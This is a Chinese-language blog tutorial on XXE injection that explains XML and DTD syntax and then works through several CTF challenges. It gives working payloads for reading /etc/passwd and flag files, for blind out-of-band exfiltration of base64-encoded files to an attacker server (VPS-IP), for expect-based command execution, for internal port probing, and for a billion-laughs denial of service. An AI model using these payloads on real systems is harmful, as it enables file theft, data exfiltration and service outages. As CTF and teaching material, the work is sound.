<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    對于XXE漏洞的理解以及在實戰中的利用

    一顆小胡椒2023-03-29 10:31:01

    1.概念

    XXE(XML External Entity Injection) 全稱為 XML 外部實體注入

    2.語法

    XML 指可擴展標記語言(EXtensible Markup Language)
    XML 是一種標記語言,很類似 HTML
    XML 被設計為傳輸和存儲數據,其焦點是數據的內容
    XML 被設計用來結構化、存儲以及傳輸信息
    XML 允許創作者定義自己的標簽和自己的文檔結構
    

    3.結構

    1.XML 文檔聲明,在文檔的第一行
    2.XML 文檔類型定義,即DTD,XXE 漏洞所在的地方
    3.XML 文檔元素
    

    4.介紹一下XML文檔

    <?xml version="1.0"  encoding="utf-8" standalone="yes"?>
    <!--第一行是XML聲明-->
    <!--這是XML處理指令的例子。處理指令以<?開始,以?>結束-->
    <!--在<?后的第一個單詞是處理指令名,在本例中是xml-->
    <!--處理指令一定要頂格寫,前面不能有任何空白-->
    ?
    <students>
    
    
    <GREETING><!--開始標記-->
    
    Hello World<!--元素內容-->
    ?
    </GREETING><!--結束標記-->
    
    <student  gender="male" isHandsome="true">                
    <id>001</id>                
    <name>zhangsan</name>
    <address>Beijing</address>
    <score>50</score>
    </student>
    
    <student gender="female">                
    <id>002</id>                
    <name>lisi</name>
    <address>北京</address>
    <score/><!--為空的簡寫形式-->
    </student>
    ?
    </students>
    

    注:

    文檔注釋用<!-- 和-->包圍,不允許嵌套,允許多行注釋。

    XML里面的元素嚴格區分大小寫

    XML文檔必須有且只有一個根元素。(根元素是一個完全包括文檔中其他所有元素的元素。)

    0x01:XML文檔說明

    每一個XML文檔都以一個XML聲明開始,用以指明所用的XML的版本。

    XML聲明有version 、encoding和standalone特性。

    version特性表明這個文檔符合XML 1.0規范。

    encoding 屬性指定了編碼格式,默認情況下是utf-8,這個屬性要放在屬性前面。

    像standalone是XML文檔的屬性,位于等號左邊的是特姓名,而其值位于等號的右邊,并用雙引號或單引號括起來。

    自定義的元素也可以有一個或多個屬性,其屬性值使用單引號或者雙引號括起來。

    如果屬性值中有雙引號則使用單引號,反之亦然。

    屬性的形式為:

    屬性名= "屬性值",比如gender="male"。

    多個屬性值之間用空格隔開(一個或多個空格都可以)。

    在一個元素上,相同的屬性只能出現一次。

    屬性值不能包含<, >, &。

    0x02:實體

    實體叫ENTITY,實體的作用是避免重復輸入。

    在XML中,有5個預定義的實體引用

    自定義實體語法:

    <!DOCTYPE 根元素[
    ?
    <!ENTITY 實體名 "實體內容">
    ?
    ]>
    ?
    引用已定義的實體:
    ?
    &實體名;
    

    0x03:處理指令PI

    處理指令用于XML解析器傳遞信息到應用程序。

    語法:<?目標 指令?>

    PI必須以一個叫做目標的標識符開頭,這個標識符遵從如同元素和屬性一樣的規則,目標是指令所指向的應用的名稱,指令是傳遞給應用程序的信息。

    0x04:CDATA節

    用于把整段文本解釋為純字符數據而不是標記的情況。

    包含大量的<、>、&、或者"字符。CDATA節中的所有字符都會被當做元素字符數據的常量部分,而不是XML標記。

    語法:

    <![CDATA[
    ?
    ......
    ?
    ]]>
    


    可以輸入任意字符(除]]外),不能嵌套。

    <?xml version="1.0" encoding="utf-8"?>
    <root>
    <![CDATA[
    ?
    <hello>
    <world>
    ?
    
    這里放任何內容都是合法的
    
    ]]> 
    ?
    <subRoot>
    
    </subRoot>
    </root>
    

    0x05:PCDATA節

    PCDATA表示已解析的字符數據。

    PCDATA的意思是被解析的字符數據(parsed character data)。可以把字符數據想象為 XML 元素的開始標簽與結束標簽之間的文本。PCDATA是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。文本中的標簽會被當作標記來處理,而實體會被展開。但是,被解析的字符數據不應當包含任何& < >字符;需要使用& < >實體來分別替換它們。

    5.什么是DTD

    DTD是XML文檔的一個格式規范

    exp:

    <?xml version="1.0"?>//這一行是 XML 文檔定義
    <!DOCTYPE message [
    <!ELEMENT message (receiver ,sender ,header ,msg)>
    <!ELEMENT receiver (#PCDATA)>
    <!ELEMENT sender (#PCDATA)>
    <!ELEMENT header (#PCDATA)>
    <!ELEMENT msg (#PCDATA)>
    <!DOCTYPE message [
    #這個就是定義了一個根元素message
    <!ELEMENT message (receiver ,sender ,header ,msg)>
    <!ELEMENT receiver (#PCDATA)>
    <!ELEMENT sender (#PCDATA)>
    <!ELEMENT header (#PCDATA)>
    <!ELEMENT msg (#PCDATA)>
    #這里就是為根元素message定義了4個子元素,receiver,sender,header,msg,然后這4個元素必須要出現而且要按照順序
    

    6.DTD的三種應用形式:

    1.內部DTD文檔

    <!DOCTYPE 根元素[定義內容]>
    exp:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ELEMENT data (aaa,bbb,ccc)>
    <!ELEMENT aaa (#PCDATA)>
    <!ELEMENT bbb (#PCDATA)>
    <!ELEMENT ccc (#PCDATA)>
    ]>
    

    2.外部DTD文檔

    <!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
    exp:外部的DTD文檔
    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT data (aaa, bbb, ccc)>
    <!ELEMENT aaa (#PCDATA)>
    <!ELEMENT bbb (#PCDATA)>
    <!ELEMENT ccc (#PCDATA)>
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data SYSTEM "data.dtd">
    <data>
    <aaa>1<aaa>
    <bbb>2<bbb>
    <ccc>3<ccc>
    </data>
    

    3.內外部DTD文檔結合

    <!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>
    exp:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data SYSTEM "data.dtd" [
    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT data (aaa, bbb, ccc)>
    <!ELEMENT aaa (#PCDATA)>
    <!ELEMENT bbb (#PCDATA)>
    <!ELEMENT ccc (#PCDATA)>
    ]>
    

    7.DTD元素


    8.DTD實體

    內部實體

    <!ENTITY 實體名稱 "實體的值">
    

    一個實體由三部分構成:&符號, 一個實體名稱, 以及一個分號(;)

    exp:
    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY xxe "hello">]>
    <foo>&xxe;</foo>
    這里定義的實體是xxe,實體的值是hello
    

    外部實體

    <!ENTITY 實體名稱 SYSTEM "URL">
    

    XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEMPUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以利用如下協議

    file:///path/to/file.ext
    http://url/file.ext
    php://filter/read=convert.base64-encode/resource=conf.php
    


    參數實體

    <!ENTITY %實體名稱 "值">
    <!ENTITY %實體名稱 SYSTEM "URL">
    exp:
    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>
    外部evil.dtd的內容
    <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
    
    公共實體


    <!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
    

    9.利用XXE攻擊

    讀取任意文件

    有回顯

    我們結合具體題目來分析。

    例題:

    1.picoctf2023 SOAP

    題目提示我們要看系統配置文件/etc/passwd

    有三個按鈕,都點了一下沒有東西

    看一下源碼,源碼有一個xml的js文件看一下

    window.contentType = 'application/xml';
    
    function payload(data) {
        var xml = '<?xml version="1.0" encoding="UTF-8"?>';
        xml += '<data>';
    
        for(var pair of data.entries()) {
            var key = pair[0];
            var value = pair[1];
    
            xml += '<' + key + '>' + value + '</' + key + '>';
        }
    
        xml += '</data>';
        return xml;
    }
    
    

    這里有一個XML文檔說明

    以及說明了XML的根元素為data

    抓一下包看一下

    這里POST了一個ID的變量,我這里猜測ID就是key(題目的DTD感覺缺失了一些東西)

    構造我們的payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///etc/passwd"
    ]>
    <data>
    <ID>
    2&xxe;
    </ID>
    </data>
    

    發現無回顯,繼續檢查一下,發現我們這里的Content-Type為application/x-www-form-urlencoded,這就是問題所在

    參考Content-Type 詳解_contenttype_leoss.H的博客-CSDN博客

    改為application/xml,發現成功得到flag


    2.[NCTF 2019]Fake XML cookbook

    隨便測試一下,發現通過報錯信息回顯

    查看一下源碼

    function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
    alert("Please enter the username and password!");
    return;
    }
    
    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
    type: "POST",
    url: "doLogin.php",
    contentType: "application/xml;charset=utf-8",
    data: data,
    dataType: "xml",
    anysc: false,
    success: function (result) {
    var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    if(code == "0"){
    $(".msg").text(msg + " login fail!");
    }else if(code == "1"){
    $(".msg").text(msg + " login success!");
    }else{
    $(".msg").text("error:" + msg);
    }
    },
    error: function (XMLHttpRequest,textStatus,errorThrown) {
    $(".msg").text(errorThrown + ':' + textStatus);
    }
    

    這里給出了我們DTD,我們根據DTD進行構造payload即可

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [     #根據給出的DTD,可知根元素是data
    <!ENTITY xxe SYSTEM "file:///etc/passwd"> #嘗試讀取系統配置文件
    ]>
    <user>
    <username>2&xxe;</username>
    <password>11</password>
    </user>
    

    成功回顯

    嘗試直接讀取flag

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///flag">
    ]>
    <user>
    <username>2&xxe;</username>
    <password>11</password>
    </user>
    

    3.[NCTF 2019]True XML cookbook

    跟上一道題的源碼一樣,嘗試沿用上題的payload發現不能直接獲取flag了,嘗試利用XXE進行RCE,發現應該是php沒有裝有expect擴展,無法實現RCE

    就感覺有可能是內網探測

    利用/proc/net/arp讀取到內網的另一臺服務器的IP地址172.18.0.1

    嘗試爆破端口,我爆破到10000多也沒有什么信息,

    之后查看內網存活主機/etc/hosts

    發現有一臺存活主機

    直接訪問發現不行,就利用BP爆破跑內網存活主機,跑出flag

    無回顯

    也就是我們的blind xxe,一般沒有echo,return這些函數,返回不了數值

    (需要在自己的VPS上配置上http服務,可以從公網訪問我們的dtd文件和xml文件)

    方案一:

    在自己的VPS上創建一個test.php

    <?php 
    file_put_contents("test.txt", $_GET['file']) ; 
    ?>
    

    再創建一個index.php

    <?php 
    $xml=<<<EOF 
    <?xml version="1.0"?> 
    <!DOCTYPE ANY[ 
    <!ENTITY % file SYSTEM "file:///C:/test.txt"> 
    <!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> 
    %remote;
    %all;
    %send; 
    ]> 
    EOF; 
    $data = simplexml_load_string($xml) ; 
    echo "<pre>" ; 
    print_r($data) ; 
    ?>
    

    再創建一個test.xml

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">
    

    當訪問http://vps-ip/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。

    方案二

    可以將文件內容發送到遠程服務器,然后讀取。

    exp:
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE data [
    <!ENTITY % file SYSTEM "file:///c://test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
    %dtd; %all; 
    ]> 
    <value>&send;</value>
    

    然后在自己的VPS上創建一個evil.xml,內容為

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
    

    用來獲取用戶的配置文件

    方案三

    可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)vps-ip.

    exp:
    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
    <!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
    %dtd;
    %send;
    ]>
    

    evil.dtd的內容,內部的%號要進行實體編碼成&#x25。下面是具體的代碼實現

    <!ENTITY % all
    “<!ENTITY &#x25; send SYSTEM ‘http://VPS-IP/?%file;’>”
    >
    %all;
    

    如果有報錯的話直接查看VPS的報錯信息能得到aaa.php的base64編碼后的結果

    沒有的話可以查看VPS的日志信息,能看到經過base64編碼后的數據

    方案四

    其實跟方案四差不多,但是可以利用監聽VPS端口來獲取信息

    方法是在自己的VPS上創建一個evil.dtd

    exp:
    <!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://VPS-IP:3333/%file;'> ">
    %dtd;
    %xxe;
    

    之后再根據題目的要求,上傳一個payload

    exp:
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
    %aaa;
    ]>
    <root>66666</root>
    

    之后在自己的VPS上監聽3333端口就行

    python -m http.server 3333
    #前提是自己的VPS需要配置好http服務
    

    命令執行

    在php環境下,xml命令執行需要php裝有expect擴展,但該擴展默認沒有安裝,所以一般來說命令執行是比較難利用,但不排除有幸運的情況咯,這里就搬一下大師傅的代碼以供參考:

    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>
    

    探測端口

    適用于有回顯和blind xxe,是外部一般實體

    exp:
    <?xml version="1.0"?>
    ?
    <!DOCTYPE ANY [
    ?
    <!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
    ?
    <name>&content;</name>
    

    根據響應時間判斷:(看BP右下角的響應時間)

    開放端口,響應時間為16millis

    未開放端口,延遲反應1047millis

    DOS攻擊

    參考十億笑攻擊 - 維基百科 (wikipedia.org)

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    

    XML解析器嘗試解析該文件時,由于DTD的定義指數級展開(即遞歸引用),舉個例子,這里定義了一個lol的實體,實體還有“lol”的字符串,然后定義了一個lol2的實體,里面有10個"lol"的字符串,依次遞推,一個lol3實體引用10個lol2實體,這樣的話可以一直向服務器傳輸文件,也就是形成了DOS攻擊,經過XML解析器解析后的內存占用會比其本身大的多。

    xml語言xml解析
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    XXE如何理解? 它是可擴展標記語言 ( XML) 用于存儲和傳輸數據。 通常始于異步JavaScript和XML技術(ajax技術):網頁應用能夠快速地將增量更新呈現在用戶界面上,而不需要重載(刷新)整個頁面。 目前JSON的使用比XML更加普遍JSON和XML都被用于在Ajax模型中的XML技術
    Web Service滲透測試總結
    2017 OWASP十大關鍵Web應用安全風險簡析 受越來越短的軟件項目生命周期影響,有些應用面臨損及金融、醫療、零售業和其他行業數字安全的風險。開發人員和經理必須了解這些最常見的風險,才能保護自己的應用。為此,開放網頁應用安全計劃(OWASP)定期發布十大最關鍵Web應用安全風險。 該計劃從專精應用安全的公司企業收集40多份數據,數據涵蓋數百家公司處收集的漏洞信息,涉及10萬個應用和API。 O
    淺析xml之xinclude & xslt
    2022-05-19 08:17:00
    最近依舊在研究xml及其相關安全問題,前一篇文章已經提及了較為大眾且CTF中常見的xml攻擊方式。
    近日,國家信息安全漏洞庫(CNNVD)收到關于微信支付SDK XXE(XML External Entity)漏洞(CNNVD-201807-083)情況的報送。成功利用該漏洞的攻擊者可以遠程讀取服務器文件,獲取商戶服務器上的隱私數據,甚至可以支付任意金額購買商品。
    XML外部實體注入
    2022-07-28 22:32:56
    0x01:簡單了解XMLXML 指可擴展標記語言XML的特點及作用:特點:1. xml與操作系統、編程語言的開發平臺都無關
    但是,在處理外部實體時,可以針對應用程序啟動許多攻擊。這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決于這些攻擊的上下文。//這一行是 XML 文檔定義
    --第一行是XML聲明-->. --這是XML處理指令的例子。后的第一個單詞是處理指令名,在本例中是xml-->. --處理指令一定要頂格寫,前面不能有任何空白-->. XML文檔必須有且只有一個根元素。version特性表明這個文檔符合XML 1.0規范。0x02:實體實體叫ENTITY,實體的作用是避免重復輸入。0x03:處理指令PI處理指令用于XML解析器傳遞信息到應用程序。這些文本將被解析器檢查實體以及標記。
    禁用XXE處理漫談
    2023-03-13 10:52:32
    近期準備面試題時,XXE漏洞防范措施(或者說修復方式)在一些文章中比較簡略
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类